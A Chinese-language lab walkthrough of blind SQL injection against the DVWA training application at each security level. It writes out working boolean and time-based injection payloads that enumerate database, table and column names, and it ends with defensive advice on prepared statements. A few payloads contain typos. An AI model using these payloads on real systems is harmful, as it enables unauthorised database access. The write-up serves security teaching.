DVWA靶场(七、盲注)

一、盲注介绍

盲注就是在SQL注入过程中,服务器并没有给客户端返回信息。通过盲注可以对程序对应的数据存储区进行对应的探测。盲注分类可以分为基于时间和基于布尔以及基于报错的盲注。

  1、基于时间,注意是否有延迟
  输入1 and sleep(5)#
  输入1' and sleep(5)#
  2、基于布尔,注意返回结果是否相同
  输入1' and 1=1 #
  输入1' and 1=2 #

二、盲注(low)

2.1、代码分析,low级别的代码对参数没有做任何过滤,以文本框输入并提交的形式,GET请求方式

2.2、通过brup抓包,把请求消息copy到kali中,通过sqlmap探测得到注入点和数据库内容


2.3、手工盲注的步骤,首先判断是否存在注入,注入是字符型还是数字型;接下来依次猜解数据库名、表名、字段名、数据。
输入1,显示存在;输入1'and 1=1#,显示存在;输入1’ and 1=2 #,显示不存在;说明存在字符型的sql盲注

2.4、猜解当前数据库名,首先猜解数据库名的长度,然后采用二分法猜解数据库名

  猜解长度:
  输入1’ and length(database())=3 #,显示不存在;
  输入1’ and length(database())=4 #,显示存在:
  猜解数据库名:
  输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
  输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
  不断重复猜出数据库名为dvwa

2.5、猜解数据库中的表名,首先我们先猜解表的数量,说明有两个表

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

MYsql数据库结构

挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

…

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)
2.6、猜解表中的字段名,首先猜解表中的字段数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在

…

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表中有8个字段,然后挨个猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

…

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表中第一个字段为7个字符长度,采用二分法即可猜解出所有字段名。
2.7、猜解数据
采用二分法挨个猜测

三、盲注(medium)

3.1、代码分析,利用mysql_real_escape_string函数对特殊符号x00, , ,,’,”,x1a进行转义,控制用户不能通过文本框输入只能通过下拉菜单选择。

3.2、这里只能通过brup抓包修改参数id进行查询,首先是基于布尔的盲注:

抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

然后是基于时间的盲注:

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

四、盲注(high)

4.1、代码分析,可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

4.2、虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

五、盲注(impossible)

5.1、代码分析,可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

常见防范措施

1、过滤用户输入
2、使用预编译处理SQL语句(PDO、Sqlparameter)
3、使用OWASP等安全的sql处理API

原文地址:https://www.cnblogs.com/tonywell/p/14028198.html